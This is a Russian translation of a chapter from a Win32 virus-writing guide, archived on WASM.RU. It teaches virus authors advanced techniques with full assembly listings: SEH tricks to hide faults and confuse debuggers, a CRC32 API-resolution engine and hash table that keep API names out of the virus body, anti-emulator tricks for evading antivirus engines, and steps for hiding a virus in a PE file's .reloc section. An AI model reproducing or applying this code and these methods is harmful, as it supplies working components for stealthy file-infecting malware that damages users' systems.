Путеводитель по написанию вирусов под Win32: 10. Продвинутые Win32-техники — Архив WASM.RU
В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя .
- SEH
- Мультитредность
- CRC32 (IT/ET)
- Антиэмулятор
- Перезапись секции .reloc
Structured Exception Handler
SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным . Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 . Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место . Давайте посмотрим небольшой пример использования SEH:
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- .386p .model flat ; 32 бита рулят extrn MessageBoxA:PROC ; Задаем API extrn ExitProcess:PROC .data szTitle db "Structured Exception Handler [SEH]",0 szMessage db "Intercepted General Protection Fault!",0 .code start: push offset exception_handler ; Push'им смещение нашего ; обработчика push dword ptr fs:[0000h] ; mov dword ptr fs:[0000h],esp errorhandler: mov esp,[esp+8] ; Помещаем смещ. ориг. SEH ; Ошибка дает нам старый ESP ; в [ESP+8] pop dword ptr fs:[0000h] ; Восст. старый SEH-обработчик push 1010h ; Параметры для MessageBoxA push offset szTitle push offset szMessage push 00h call MessageBoxA ; Показываем сообщене :] push 00h call ExitProcess ; Выходим из приложения setupSEH: xor eax,eax ; Генерируется исключение div eax end start ;---[ CUT HERE ]-------------------------------------------------------------Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения . Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):
Код (Text):
; Put SEH - Sets a new SEH handler ; Put SEH - Устанавливаем новый SEH-обработчик pseh macro what2do local @@over_seh_handler call @@over_seh_handler mov esp,[esp+08h] what2do @@over_seh_handler: xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp endm ; Restore SEH - Восстанавливает старый SEH-обработчик rseh macro xor edx,edx pop dword ptr fs:[edx] pop edx endm Использовать эти макросы очень просто. Например: pseh >jmp SEH_handler&rt; div edx push 00h call ExitProcess SEH_handler: rseh [...]Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно?
Мультитредность
Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время .
Ок, основное назначение мультизадачной процедуры следующее:
- Создайте соответствующую ветвь кода, которую вы хотите запустить
- Подождите, пока дочерний процесс закончится в коде родительского процесса
Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.
Код (Text):
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Функция CreateThread создает тред, выполняющийся внутри адресного пространства вызывающего функцию процесса. HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // указ. на аттр. безоп. треда DWORD dwStackSize, // нач. размер стека треда в байтах LPTHREAD_START_ROUTINE lpStartAddress, // указатель на функцию треда LPVOID lpParameter, // аргументы для нового треда DWORD dwCreationFlags, // флаги создания LPDWORD lpThreadId // указатель на возвращенный идентификатор треда ); Параметры --------- • lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом. Если lpThreadAttributes равен NULL, хэндл не может наследоваться. Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового треда. Если lpThreadAttributes равен NULL, тред получает дескриптор безопасности по умолчанию. Windows 95: поле lpSecurityDescriptor игнорируется. • dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то размер стека будет равен размеру стека главного треда процесса. Стек автоматически выделяется в адресном пространстве процесса и освобождается, когда тред завершает свое выполнение. Обратите внимание на то, что размер стека увеличивается по необходимости. CreateThread пытается выделить указанное количество байтов, а если это не удается, возвращает ошибку. • lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции, имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом является: DWORD WINAPI ThreadFunc( LPVOID ); • lpParameter: задает 32-х битное значение, которое будет передано треду в качестве аргумента. • dwCreationFlags: задает дополнительные флаги, контролирующие создание треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном состоянии и начнет свое выполнение только тогда, когда будет вызвана функция ResumeThread. Если это значение равно нулю, тред начинает выполняться немедленно после создания. На данный момент другие значения не поддерживаются. • lpThreadId: указывает на 32-х битную переменную, которая получает идентификатор треда. Возвращаемые значения --------------------- • Если вызов функции прошел успешно, возвращаемое значение является хэндлом нового треда. • Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы получить дополнительную информацию об ошибке, вызовите GetLastError. Windows 95: CreateThread успешно выполняется только тогда, когда она вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать дополнительный тред, если эта DLL была вызвана 16-ти битной программой. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Функция WaitForSingleObject возвращает управление программе, когда случается одно из следующего: • Указанный объект находится в сигнализирующем состоянии.<br> • Закончился заданный интервал времени DWORD WaitForSingleObject( HANDLE hHandle, // хэндл ожидаемого объекта DWORD dwMilliseconds // интервал таймаута в миллисекундах ); Параметры --------- • hHandle: идентифицирует объект. Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE. • dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает управление, если заданное время закончилось, даже если объект находится в несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция тестирует состояние объекта и возвращает управление немедленно. Если dwMilliseconds равно INFINITE, интервал таймаута бесконечен. Возвращаемые значения --------------------- • Если вызов функции прошел успешно, возвращаемое значение указывает событие, которое заставило функцию вернуться. • Если вызов функции прошел неуспешно, возвращаемое значение равно WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите GetLastError. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- .586p .model flat extrn CreateThread:PROC extrn WaitForSingleObject:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC .data tit1 db "Parent Process",0 msg1 db "Spread your wings and fly away...",0 tit2 db "Child Process",0 msg2 db "Billy's awesome bullshit!",0 lpParameter dd 00000000h lpThreadId dd 00000000h .code multitask: push offset lpThreadId ; lpThreadId push 00h ; dwCreationFlags push offset lpParameter ; lpParameter push offset child_process ; lpStartAddress push 00h ; dwStackSize push 00h ; lpThreadAttributes call CreateThread ; EAX = Thread handle push 00h ; 'Parent Process' blah blah push offset tit1 push offset msg1 push 00h call MessageBoxA push 0FFh ; Ждем бесконечно push eax ; Хэндл ожидаемого объекта (тред) call WaitForSingleObject push 00h ; Выходим из программы call ExitProcess child_process: push 00h ; 'Child Process' blah blah push offset tit2 push offset msg2 push 00h call MessageBoxA ret end multitask ;---[ CUT HERE ]-------------------------------------------------------------Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.
Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)
Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).
CRC32 (IT/ET)
Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно лекго, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?
Решение: CRC32
Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно погладеть на код, получающий CRC32 . Давайте возьмем код Zheng[i, переработонный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура получения CRC32 ; ------------------------- ; ; на входе: ; ESI = смещение, блока байтов, чей CRC32 должен быть вычислен ; EDI = размер этого блока ; на выходе: ; EAX = CRC32 данного блока ; CRC32 proc cld xor ecx,ecx ; Оптимизировано мно - на 2 dec ecx ; байта меньше mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp ;---[ CUT HERE ]-------------------------------------------------------------Хорошо, теперьа мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций .
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_ET_CRC32 ; ------------------------- ; ; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов ; KERNEL32 (после небольших изменений она будет работать для любой DLL), но ; теперь требуется только CRC32 API-функции, а не вся строка <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:">. Также ; потребуется процедура для получения CRC32 вроде той, которую я привел выше. ; ; на входе: ; EAX = CRC32 имени функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ; GetAPI_ET_CRC32 proc xor edx,edx xchg eax,edx ; Помещаем CRC32 функции в EDX mov word ptr [ebp+Counter],ax ; Сбрасываем счетчик mov esi,3Ch add esi,[ebp+kernel] ; Получае PE-заголовок KERNEL32 lodsw add eax,[ebp+kernel] ; Нормализуем mov esi,[eax+78h] ; Получаем указатель на add esi,1Ch ; таблицу экспортов add esi,[ebp+kernel] lea edi,[ebp+AddressTableVA] ; Указатель на таблицу адресов lodsd ; Получаем значение AddressTable add eax,[ebp+kernel] ; Нормализуем stosd ; И сохраняем в ее переменной lodsd ; Получаем значение NameTable add eax,[ebp+kernel] ; Нормализуем push eax ; Помещаем ее на стек stosd ; Сохраняем в ее переменной lodsd ; Получаем значение OrdinalTable add eax,[ebp+kernel] ; Нормализуем stosd ; Сохраняем pop esi ; ESI = NameTable VA @?_3: push esi ; Снова сохраняем lodsd ; Получ. указ. на имя API-ф-ции add eax,[ebp+kernel] ; Нормализуем xchg edi,eax ; Сохраняем указатель в EDI mov ebx,edi ; И в EBX push edi ; Сохраняем EDI xor al,al ; Доходим до NULL'а scasb ; Это конец имени API-функции jnz $-1 pop esi ; ESI = Указ. на имя API-ф-ции sub edi,ebx ; EDI = Размер имени API-ф-ции push edx ; Сохраняем CRC32 функции call CRC32 ; Получаем текущий CRC функции pop edx ; Восстанавливаем CRC32 функции cmp edx,eax ; Они совпадают? jz @?_4 ; Если да, это то, что нам надо pop esi ; Восст. указ. на имя функции add esi,4 ; Переходим к следующему inc word ptr [ebp+Counter] ; И увеличиваем знач. счетчика jmp @?_3 ; Получаем следующую API-ф-цию! @?_4: pop esi ; Убираем мусор из стека movzx eax,word ptr [ebp+Counter] ; AX = счетчик shl eax,1 ; *2 (это массив слов) add eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем xor esi,esi ; Очищаем ESI xchg eax,esi ; ESI = Указ. на ординал; EAX=0 lodsw ; В AX получаем ординал shl eax,2 ; И с его помощью переходим к add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив xchg esi,eax ; двойных слов) lodsd ; Получаем адресс API RVA add eax,[ebp+kernel] ; и нормализуем!! Все! ret GetAPI_ET_CRC32 endp AddressTableVA dd 00000000h ;\ NameTableVA dd 00000000h ; &rt; В ЭТОМ ПОРЯДКЕ!! OrdinalTableVA dd 00000000h ;/ kernel dd 0BFF70000h ; Подгоните под свои нужды ;) Counter dw 0000h ;---[ CUT HERE ]-------------------------------------------------------------Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедура GetAPI_IT_CRC32 ; ------------------------- ; ; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает ; с переданным процедуре. Это полезно для создания перпроцессных резидентов ; (смотри главу "Перпроцессная резидентность" в данном туториале). ; ; на входе: ; EAX = CRC32 имени API-функции в формате ASCIIz ; на выходе: ; EAX = адрес API-функции ; EBX = указатель на адрес API-функции в таблице импортов ; CF = устанавливаем, если вызов функции не удался ; GetAPI_IT_CRC32 proc mov dword ptr [ebp+TempGA_IT1],eax ; Сохранить CRC32 API-функции ; на будущее mov esi,dword ptr [ebp+imagebase] ; ESI = база образа add esi,3Ch ; Получ. указ. на PE-заголовок lodsw ; AX = тот указатель cwde ; Очищаем MSW EAX'а add eax,dword ptr [ebp+imagebase] ; Нормализуем указатель xchg esi,eax ; ESI = такой указатель lodsd ; Получаем DWORD cmp eax,"EP" ; Это метка PE? jnz nopes ; Нет... duh! add esi,7Ch ; ESI = PE-заголовок+80h lodsd ; Ищем .idata push eax lodsd ; Получаем размер mov ecx,eax pop esi add esi,dword ptr [ebp+imagebase] ; Нормализуем SearchK32: push esi ; Сохраняем ESI в стек mov esi,[esi+0Ch] ; ESI = указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; Указатель на 'KERNEL32.dll' mov ecx,K32_Size ; Размер строки cld ; Очищаем флаг направления push ecx ; Сохраняем ECX rep cmpsb ; Сохраняем байты pop ecx ; Восстанавливаем ECX pop esi ; Восстанавливаем ESI jz gotcha ; Были ли они равны? Черт... add esi,14h ; Получаем другое поле jmp SearchK32 ; И ищем снова gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Проклятье, если так... mov edx,[esi+10h] ; Получаем FirstThunk add edx,dword ptr [ebp+imagebase] ; Нормализуем lodsd ; Получаем его or eax,eax ; Это 0? jz nopes ; Проклятье... xchg edx,eax ; Получаем указатель на него add edx,[ebp+imagebase] xor ebx,ebx loopy: cmp dword ptr [edx+00h],00h ; Последний RVA? jz nopes ; Проклятье... cmp byte ptr [edx+03h],80h ; Ординал? jz reloop ; Проклятье... mov edi,[edx] ; Получаем указатель на add edi,dword ptr [ebp+imagebase] ; импортированную API-функцию inc edi inc edi mov esi,edi ; ESI = EDI pushad ; Сохраняем все регистры eosz_edi ; В EDI получаем конец строки sub edi,esi ; EDI = размер имени функции call CRC32 mov [esp+18h],eax ; В ECX - результат после POPAD popad cmp dword ptr [ebp+TempGA_IT1],ecx ; CRC32 данной API-функции jz wegotit ; совпадает с той, которая ; нам нужна? reloop: inc ebx ; Если, совершаем следующий add edx,4 ; проход и ищем нужную функцию ; в таблице импортов loop loopy wegotit: shl ebx,2 ; Умножаем на 4 add ebx,eax ; Добавляем FirstThunk mov eax,[ebx] ; EAX = адрес API-функции test al,00h ; Пересечение: избегаем STC <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> org $-1 nopes: stc ret GetAPI_IT_CRC32 endp TempGA_IT1 dd 00000000h imagebase dd 00400000h K32_DLL db "KERNEL32.dll",0 K32_Size equ $-offset K32_DLL ;---[ CUT HERE ]-------------------------------------------------------------Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций . Далее я перечеслю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.
CRC32 некоторых API-функций:
Код (Text):
Имя API-функции CRC32 Имя API-функции CRC32 --------------- ----- --------------- ----- CreateFileA 08C892DDFh CloseHandle 068624A9Dh FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h ExitProcess 040F57181h SetFilePointer 085859D42h SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h CreateThread 019F33607h WaitForSingleObject 0D4540229h ExitThread 0058F9201h GetTickCount 0613FD7BAh FreeLibrary 0AFDF191Fh WriteFile 021777793h GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah GetFileSize 0EF7D811Bh ReadFile 054D8615Ah GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h SetPriorityClass 0C38969C7h FindWindowA 085AB3323h PostMessageA 086678A04h MessageBoxA 0D8556CF7h RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h MoveFileA 02308923Fh CopyFileA 05BD05DB1h GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh CreateProcessA 0267E0B05h _lopen 0F2F886E3h MoveFileExA 03BE43958h CopyFileExA 0953F2B64h OpenFile 068D8FC46hВам нужен CRC32 другой функции?
Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- .586 .model flat .data extrn ExitProcess:PROC extrn MessageBoxA:PROC extrn GetCommandLineA:PROC titulo db "GetCRC32 by Billy Belcebu/iKX",0 message db "SetEndOfFile" ; Поместите здесь строку, чей ; CRC32 вам нужно узнать _ db 0 db "CRC32 is " crc32_ db "00000000",0 .code test: mov edi,_-message lea esi,message ; Загружаем указатель на имя ; API-функции call CRC32 ; Получаем CRC32 lea edi,crc32_ ; Конвертируем hex в текст call HexWrite32 mov _," " ; Пусть 0 станет пробелом push 00000000h ; Отображаем messagebox с push offset titulo ; именем API-функции и ее CRC32 push offset message push 00000000h call MessageBoxA push 00000000h call ExitProcess HexWrite8 proc ; Этот код был взят из носителя mov ah,al ; 1-ого поколения вируса and al,0Fh ; Bizatch shr ah,4 or ax,3030h xchg al,ah cmp ah,39h ja @@4 @@1: cmp al,39h ja @@3 @@2: stosw ret @@3: sub al,30h add al,'A' - 10 jmp @@2 @@4: sub ah,30h add ah,'A' - 10 jmp @@1 HexWrite8 endp HexWrite16 proc push ax xchg al,ah call HexWrite8 pop ax call HexWrite8 ret HexWrite16 endp HexWrite32 proc push eax shr eax, 16 call HexWrite16 pop eax call HexWrite16 ret HexWrite32 endp CRC32 proc cld xor ecx,ecx ; Оптимизированно мной - на 2 ; байта меньше dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; на 1 байт меньше jnz NextByteCRC not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp end test ;---[ CUT HERE ]-------------------------------------------------------------Круто, правда?
Антиэмуляторы
Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!
- Генерирование ошибок с помощью SEH. Пример:
Код (Text):
pseh >jmp virus_code&rt; dec byte ptr [edx] ; >-- или другое исключение, например 'div edx' [...] >-- если мы здесь, нас отлаживают! virus_code: rseh [...] >-- код вируса <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:">- Использование сегментного префикса CS. Например:
Код (Text):
jmp cs:[shit] call cs:[shit]- Использование RETF. Пример:
Код (Text):
push cs call shit retf- Игра с DS. Пример:
Код (Text):
push ds pop eaxили даже лучше:
Код (Text):
push ds pop axили еще лучше:
Код (Text):
mov eax,ds push eax pop ds- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :
Код (Text):
mov ebx,esp push cs pop eax cmp esp,ebx jne nod_ice_detected- Использование недокументированных опкодов:
Код (Text):
salc ; db 0D6h bpice ; db 0F1h- Использование тредов и/или фиберов
Я надеюсь, что все это окажется для вас полезным .
Перезапись секции .reloc
Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.
Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:
В заголовке секции:
- В качестве нового VirtualSize установите размер вируса + его кучу
- В качестве нового SizeOfRawData установите выравненный VirtualSize
- Очистите PointerToRelocations и NumberOfRelocations
- Измените имя '.reloc' на какое-нибудь другое.
Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая. © Billy Belcebu, пер. Aquila
Путеводитель по написанию вирусов под Win32: 10. Продвинутые Win32-техники
Дата публикации 4 ноя 2002